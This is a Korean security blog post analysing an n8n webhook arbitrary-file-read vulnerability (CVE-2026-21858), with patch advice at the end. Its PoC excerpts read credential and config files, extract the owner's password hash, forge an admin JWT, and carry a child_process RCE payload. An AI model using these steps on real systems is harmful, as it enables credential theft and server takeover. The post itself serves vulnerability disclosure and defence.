1. n8n

- 노드 기반 워크플로우 자동화 플랫폼 [1][2]

2. 취약점

[사진 1] CVE-2026-21858 [3]

- Content-Type 값을 검증하지 않고 신뢰하여 파싱 로직을 분기하는 설계로 인해, req.body.files 내 파일 경로 조작이 가능해지며 발생하는 임의 파일 읽기 취약점 (CVSS: 10.0)

영향받는 버전
- n8n 1.65.0 이하 버전

 

- n8n은 웹훅 기반으로 사용자 요청을 수신하고, parseRequestBody()에서 Content-Type에 따라 요청 본문 파싱 방식을 결정한 뒤 웹훅 로직 수행 [4]
> multipart/form-data 요청의 경우, parseFormData()-파일 업로드 파서-를 사용해 파일 정보를 req.body.files에 저장
> 다른 유형의 요청의 경우, parseBody()-일반 본문 파서-를 사용하며, 데이터를 req.body에 저장

※ 웹훅(Webhook) : 어떤 서비스나 애플리케이션에서 특정 이벤트가 발생했을 때, 미리 설정된 다른 URL(또는 엔드포인트)로 자동으로 데이터를 보내주는 방식 [5]

[사진 2] parseRequestBody()

- 파일 업로드를 처리하는 웹훅인 formWebhook()

> prepareFormReturnItem()를 호출해 req.body.files에 있는 각 값들을 복사해 임시경로(req.body.files[id].filepath)에 저장

> 이때, 콘텐츠 유형이 multipart/form-data인지 확인하지 않고 호출되기 때문에 req.body.files 객체 전체를 제어할 수 있음

[사진 3] formWebhook()

- 공격자는 Content-Type 헤더 및 Body 값을 조작해 요청 전송
> req.body.files를 덮어써 파일 경로를 제어할 수 있게 되어, 시스템 로컬 파일을 복사할 수 있음

[사진 4] Exploit 예시

2.1 PoC

- 타겟 URL과 웹훅 경로를 받아 Ni8mare 클래스 객체를 생성(Content-Type 및 Body 조작)해 홈 디렉터리, 암호화 키 등을 탈취하는 공격 체인 가동 [6]

...
# Ni8mare 클래스 객체 생성
class Ni8mare:
    def __init__(self, base_url, form_path):
        self.base_url = base_url.rstrip("/")
        self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
        self.session = requests.Session()
        self.admin_token = None
  ...

2.1.1 임의 파일 읽기

- 조작된 요청으로 서버 내부의 {home}/.n8n/config{home}/.n8n/database.sqlite 파일 탈취

> payload의 filepath를 읽고 싶은 서버 파일 경로로 설정 및 Content-Type 헤더를 application/json 설정
> global:owner 권한을 지닌 사용자의 id, email, password 추출

...
    # /proc/self/environ 파일을 읽어 HOME 디렉터리 경로 획득
    def get_home(self) -> str | None:
        data = self.read_file("/proc/self/environ")
        if not data:
            return None
        for var in data.split(b"\x00"):
            if var.startswith(b"HOME="):
                return var.decode().split("=", 1)[1]
        return None

    # ~/.n8n/config 파일에서 encryptionKey 추출 (n8n-auth 세션 쿠키 서명에 사용됨)
    def get_key(self, home: str) -> str | None:
        data = self.read_file(f"{home}/.n8n/config")
        return json.loads(data).get("encryptionKey") if data else None

    # ~/.n8n/database.sqlite 파일 탈취
        def get_db(self, home: str) -> bytes | None:
        return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120)

    # SQLite DB에서 global:owner 권한을 지닌 사용자의 id, email, password 추출
    def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
        with tempfile.NamedTemporaryFile(suffix=".db") as f:
            f.write(db)
            f.flush()
            conn = sqlite3.connect(f.name)
            row = conn.execute("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1").fetchone()
            conn.close()
        return (row[0], row[1], row[2]) if row else None
...

2.1.2 인증 우회

- 탈취한 파일에서 encryptionKey 및 관리자 패스워드 해시를 추출하여 JWT 쿠키 위조

...
    # 위조된 관리자 권한의 JWT 생성
    def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
        secret = hashlib.sha256(key[::2].encode()).hexdigest()
        h = b64encode(hashlib.sha256(f"{email}:{pw_hash}".encode()).digest()).decode()[:10]
        self.admin_token = jwt.encode({"id": uid, "hash": h}, secret, "HS256")
        return self.admin_token
...

2.1.3 원격 명령 실행

- 관리자 권한으로 샌드박스를 우회(CVE-2025-68613)하는 워크플로우 실행

...
# CVE-2025-68613 악용 페이로드
# 워크플로 표현식 평가 과정의 격리 미흡으로, 특정 조건에서 인증된 사용자가 악성 표현식을 주입해 n8n 프로세스 권한으로 임의 코드 실행이 가능
RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}'
...
    def rce(self, command: str) -> str | None:
        nodes, connections, _, _ = self._build_nodes(command)
        wf_name = f"wf-{randstr(16)}"
        workflow = {"name": wf_name, "active": False, "nodes": nodes,
                    "connections": connections, "settings": {}}

        resp = self._api("POST", "/rest/workflows", json=workflow, timeout=10)
        if not resp:
            return None
        wf_id = resp.json().get("data", {}).get("id")
        if not wf_id:
            return None

        run_data = {"workflowData": {"id": wf_id, "name": wf_name, "active": False,
                                      "nodes": nodes, "connections": connections, "settings": {}}}
        resp = self._api("POST", f"/rest/workflows/{wf_id}/run", json=run_data, timeout=30)
        if not resp:
            self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
            return None

        exec_id = resp.json().get("data", {}).get("executionId")
        result = self._get_result(exec_id) if exec_id else None
        self._api("DELETE", f"/rest/workflows/{wf_id}", timeout=5)
        return result
...

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [7][8]

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-21858 n8n 1.65.0 이하 1.121.0 이상

4. 참고

[1] https://n8n.io/
[2] https://wikidocs.net/290882
[3] https://nvd.nist.gov/vuln/detail/CVE-2026-21858
[4] https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858
[5] https://velog.io/@bm1201/Webhook
[6] https://github.com/Chocapikk/CVE-2026-21858
[7] https://community.n8n.io/t/security-advisory-security-vulnerability-in-n8n-versions-1-65-1-120-4/247305
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71933&menuNo=205020

+ Recent posts